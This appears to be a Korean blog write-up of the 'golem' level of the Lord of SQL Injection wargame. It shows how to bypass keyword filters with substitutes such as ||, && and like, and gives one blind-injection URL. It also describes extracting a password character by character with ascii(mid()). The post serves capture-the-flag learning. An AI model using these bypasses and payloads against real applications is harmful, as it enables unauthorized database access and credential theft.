2017. 9. 13. 18:03ㆍWebHacking/Lord of SQL injection
preg_match함수로 인해 or , and , substr( , = 필터링이 걸려있다
이들 함수를 대체할 수 있는 것들을 찾아보자
or => ||
and => %26%26 ( && )
substr => substring or mid함수 or left+right
= => like , <> , < , > 으로 대체
[ 패스워드 추측하기 ]
1> 패스워드 길이 확인하기
URL: https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=9999' || id like 'admin' %26%26 not length(pw) <> 8 %23 |
=> SELECT id FROM prob_golem WHERE id='guest' and pw='9999' || id like 'admin' && not length(pw) <> 8 #'
> , < 를 활용하여 상수를 바꿔가며 조건식의 참 거짓을 확인해서 알아낸다
2> 패스워드 자리수 별 확인하기
mid( 문자열 , position , length ): 해당 문자열의 위치에서 x 글자만큼 가져온다
ex) mid ( 'abcd' , 2 , 3 ) = 'bcd'
가져온 문자열을 ascii() 함수를 이용해서 10진수 아스키코드로 변환 후 상수와 비교한다
mid( pw,1,1 ) ~ mid( pw,8,1 ) 까지 반복해서 구한다
3> 실행 결과
[ 파이썬 자동화 프로그래밍 ]
[ 작성코드 ]
[ 실행결과 ]
'WebHacking > Lord of SQL injection' 카테고리의 다른 글
Lord Of SQL Injection [ 13. BugBear ] (0) | 2017.09.13 |
---|---|
Lord Of SQL Injection [ 12. DarkNight ] (0) | 2017.09.13 |
Lord Of SQL Injection [ 10.Skeleton ] (0) | 2017.09.12 |
Lord Of SQL Injection [ 7.Orge ] (0) | 2017.09.12 |
Lord Of SQL Injection [ 6.DarkElf ] (0) | 2017.09.08 |